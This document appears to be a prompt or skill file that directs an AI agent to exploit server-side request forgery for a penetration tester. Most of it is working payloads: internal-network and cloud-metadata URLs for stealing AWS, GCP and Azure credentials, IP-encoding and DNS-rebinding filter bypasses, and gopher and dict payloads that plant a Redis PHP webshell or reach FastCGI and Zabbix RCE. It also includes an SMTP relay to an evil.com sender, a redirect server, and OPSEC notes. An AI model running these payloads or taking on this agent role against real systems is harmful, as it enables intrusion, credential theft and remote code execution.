Server-Side Request Forgery (SSRF)

You are helping a penetration tester exploit server-side request forgery. The target application accepts a URL or hostname from user input and makes a server-side HTTP request to it. The goal is to access internal services, cloud metadata, local files, or pivot to RCE via internal service exploitation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [ssrf] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Identified parameter that triggers server-side HTTP requests (URL, webhook, import, proxy, PDF generator, image fetcher, etc.)
• OOB callback infrastructure for blind SSRF (Burp Collaborator, interactsh, or custom server)
• If the response is fully reflected, start with basic SSRF. If only status codes or timing differences are visible, use blind techniques.

LFI crossover: If you arrived from the lfi skill because file_get_contents() or similar accepts http:// URLs, the injection point is the same LFI parameter. Use it as a standard SSRF vector — no parameter discovery needed. The LFI context (absolute path reads, known web root) is additional leverage for targeting localhost services.

Step 1: Assess

If not already provided, determine:

1. Injection point — which parameter accepts a URL? (url=, src=, href=, redirect=, callback=, webhook=, proxy=, imageUrl=, file=)
2. Response type — full response returned? Status only? Blind?
3. Protocol support — does it accept only http(s), or also file://, gopher://, dict://?
4. Filters — is localhost blocked? Are internal IPs blocked? Allowlist?

Skip if context was already provided.

Step 2: Basic SSRF

Localhost Access

http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
http://127.0.0.1:80
http://127.0.0.1:8080
http://127.0.0.1:443

Internal Network Scanning

http://10.0.0.1
http://172.16.0.1
http://192.168.1.1
http://192.168.0.1:8080

Scan common internal ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), 3306 (MySQL), 5432 (PostgreSQL), 6379 (Redis), 8080 (alt HTTP), 8443 (alt HTTPS), 9200 (Elasticsearch), 27017 (MongoDB).

File Read (file:// protocol)

file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ
file:///proc/self/cmdline
file://\/\/etc/passwd

Step 3: Filter Bypass

IPv6 Notation

http://[::]:80/
http://[0000::1]:80/
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]

Domain Redirects to Localhost

Domain	Resolves To
localtest.me	::1
localh.st	127.0.0.1
127.0.0.1.nip.io	127.0.0.1
spoofed.redacted.oastify.com	127.0.0.1
ip6-localhost	::1 (Linux)

CIDR Range (127.0.0.0/8)

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

Short-Hand IP

http://0/
http://127.1
http://127.0.1

IP Encoding

Decimal:

http://2130706433/        = 127.0.0.1
http://2852039166/        = 169.254.169.254

Hex:

http://0x7f000001         = 127.0.0.1
http://0xa9fea9fe         = 169.254.169.254

Octal:

http://0177.0.0.1/        = 127.0.0.1
http://0251.0376.0251.0376 = 169.254.169.254

Mixed encoding:

http://0251.254.169.254   = 169.254.169.254 (octal + decimal)

URL Encoding

http://127.0.0.1/%61dmin       (single encode)
http://127.0.0.1/%2561dmin     (double encode)

URL Parsing Discrepancy

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
http:127.0.0.1/

Different parsers resolve http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ differently: urllib2 → 1.1.1.1, requests → 2.2.2.2, urllib → 3.3.3.3.

HTTP Redirect Bypass (TOCTOU)

Many URL validators check the initial URL but the underlying HTTP library follows 302/307 redirects without re-validating the destination. This is a Time-of-Check-Time-of-Use (TOCTOU) gap — point the SSRF at your server, which redirects to the internal target.

# Using r3dir.me (no server needed)
https://307.r3dir.me/--to/?url=http://localhost
https://307.r3dir.me/--to/?url=http://169.254.169.254/latest/meta-data/

Or host a Python redirect server on the attackbox:

# Usage: python3 redir.py <target_url> [port]
# Example: python3 redir.py http://127.0.0.1:9001/ 8888
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class R(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', sys.argv[1])
        self.end_headers()
    def log_message(self, *a): pass
HTTPServer(('0.0.0.0', int(sys.argv[2]) if len(sys.argv)>2 else 8888), R).serve_forever()
" "http://127.0.0.1:PORT/path" 8888

Then point the SSRF at http://ATTACKBOX_IP:8888/anything.

Constraint: If your attackbox is on a private IP (10.x, 172.16-31.x, 192.168.x) and the validator also blocks private IPs in the initial URL, the redirect server won't be reachable. Workarounds: use r3dir.me (public IP), use DNS rebinding (below), or check if the validator ignores IPv6.

Use HTTP 307/308 to preserve the original HTTP method and body.

DNS Rebinding

Make a domain alternate between two IPs:

make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

First resolution → 1.2.3.4 (passes allowlist), second → 169.254.169.254 (hits metadata).

PHP filter_var() Bypass

http://test???test.com
0://evil.com:80;http://google.com:80/

JAR Scheme (Java — blind)

jar:http://127.0.0.1!/
jar:https://127.0.0.1!/

Enclosed Alphanumeric / Unicode

http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

Step 4: Cloud Metadata Exploitation

AWS (IMDSv1 — no headers needed)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

IMDSv2 (requires PUT to get token first — harder via SSRF):

TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  http://169.254.169.254/latest/api/token)
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  http://169.254.169.254/latest/meta-data/

IMDSv2 can sometimes be bypassed via gopher:// to craft the PUT request.

AWS ECS (container credentials):

# Extract UUID from /proc/self/environ first
http://169.254.170.2/v2/credentials/<UUID>

AWS Lambda:

http://localhost:9001/2018-06-01/runtime/invocation/next

Google Cloud (requires Metadata-Flavor: Google header)

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env?alt=json

Beta endpoint (no header required):

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token

Via gopher (to set required header):

gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a

Azure (requires Metadata: true header)

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Other Cloud Providers

Provider	Metadata URL
Digital Ocean	http://169.254.169.254/metadata/v1.json
Oracle Cloud	http://192.0.0.192/latest/meta-data/
Alibaba	http://100.100.100.200/latest/meta-data/
Hetzner	http://169.254.169.254/hetzner/v1/metadata

Kubernetes / Docker

# Kubernetes ETCD
http://127.0.0.1:2379/v2/keys/?recursive=true

# Docker API
http://127.0.0.1:2375/v1.24/containers/json

# Rancher
http://rancher-metadata/latest/

Step 5: Protocol Exploitation

gopher:// — TCP Protocol Interaction

Gopher can send arbitrary data to any TCP port. Use Gopherus to generate payloads:

# Redis webshell
python2.7 gopherus.py --exploit redis

# MySQL query (passwordless user)
python2.7 gopherus.py --exploit mysql

# FastCGI RCE
python2.7 gopherus.py --exploit fastcgi

# Memcached deserialization
python2.7 gopherus.py --exploit pymemcache

Redis via SSRF (webshell)

Via dict://:

dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20shell.php
dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
dict://127.0.0.1:6379/SAVE

Via gopher://:

gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20shell.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20system%28%24_GET%5B0%5D%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save

FastCGI RCE (via gopher)

Requires knowing a PHP file path on disk (default: /usr/share/php/PEAR.php):

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00...

Use Gopherus to generate the full payload.

SMTP Relay (via gopher)

gopher://localhost:25/_MAIL%20FROM:<attacker@evil.com>%0D%0ARCPT%20TO:<victim@target.com>%0D%0ADATA%0D%0ASubject:%20SSRF%20Test%0D%0A%0D%0AMessage%20body%0D%0A.%0D%0A

Zabbix Agent RCE

If EnableRemoteCommands=1:

gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D

Step 6: Blind SSRF

When the response is not returned to you.

Detection

# OOB callback (Burp Collaborator / interactsh)
http://COLLABORATOR.oastify.com
http://ATTACKER.interactsh.com

# Time-based (compare response time for open vs closed ports)
http://127.0.0.1:22    # SSH — fast connect
http://127.0.0.1:1234  # closed — timeout

Blind SSRF Chains

Exploit internal services that accept HTTP and perform actions:

Service	Exploit
Elasticsearch	http://127.0.0.1:9200/_shutdown
Jenkins	http://127.0.0.1:8080/script
Docker	http://127.0.0.1:2375/containers/json
Redis (via HTTP)	Write webshell via CONFIG SET
Consul	http://127.0.0.1:8500/v1/agent/self
Solr	http://127.0.0.1:8983/solr/admin/cores

Full list: assetnote/blind-ssrf-chains

Upgrade Blind SSRF to XSS

If the SSRF fetches and renders content:

http://attacker.com/xss.svg

Where xss.svg contains:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

Step 7: Escalate or Pivot

• Got AWS credentials: Use aws configure with the extracted AccessKeyId/SecretAccessKey/Token to access S3, EC2, IAM
• Got internal service access: Check for unauthenticated admin panels, databases, Redis, Elasticsearch
• Redis accessible: Write webshell via CONFIG SET → RCE
• FastCGI accessible: RCE via gopher payload
• Kubernetes ETCD accessible: Extract secrets, service account tokens
• Docker API accessible: Container escape, host filesystem access
• Internal web app found: Test for additional vulns — route to web-discovery
• File read only (file://): Extract credentials from config files, SSH keys from /home/*/.ssh/, cloud credentials from ~/.aws/credentials
• Found SQLi on internal service: Escalate or sql-injection-union

Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.

When routing, pass along: SSRF endpoint, protocols supported, bypass technique used, what's accessible internally.

OPSEC Notes

• SSRF requests originate from the server — appear in the target's outbound logs
• Cloud metadata access may trigger CloudTrail events (AWS) or audit logs
• gopher:// and dict:// protocol abuse may be detected by IDS/IPS
• Redis CONFIG SET and webshell creation leave artifacts
• DNS rebinding generates unusual DNS patterns
• Blind SSRF with OOB callbacks reveal your attacker IP

Troubleshooting

No Response from Internal Services

• The app may strip non-http protocols — try http:// only with internal IPs
• The app may block private IPs — use bypass techniques (DNS rebinding, redirect, encoded IPs)
• HTTP redirect may not be followed — try 301, 302, 307, 308
• Response may be filtered — check if error messages leak information

Cloud Metadata Blocked

• Try IP encoding (decimal, hex, octal, IPv6-mapped)
• Try DNS resolution: 169.254.169.254.nip.io
• Try HTTP redirect via your server or r3dir.me
• Try DNS rebinding: make-YOUR.IP-rebind-169.254-169.254-rr.1u.ms
• For GCP/Azure (header required), use gopher:// to set the header

IMDSv2 Blocking Access

• IMDSv2 requires a PUT request with token header — cannot be done with simple GET SSRF
• Check if the app follows redirects (redirect from your server can set headers)
• Try gopher:// to craft the full PUT request
• Check if IMDSv1 is still enabled alongside v2
• Check ECS credential endpoint (169.254.170.2) which may not require tokens

gopher:// Not Supported

• Try dict:// for Redis (limited but works for simple commands)
• Try file:// for local file read
• Use HTTP-based exploitation paths (blind SSRF chains via internal HTTP services)
• Try netdoc:// (Java environments)

Automated Tools

# SSRFmap — automatic SSRF exploitation
python3 ssrfmap.py -r request.txt -p url -m readfiles,portscan

# Gopherus — generate gopher payloads for various services
python2.7 gopherus.py --exploit redis
python2.7 gopherus.py --exploit fastcgi
python2.7 gopherus.py --exploit mysql

# interactsh — OOB callback server
interactsh-client

# ipfuscator — generate IP encoding variations
ipfuscator -i 169.254.169.254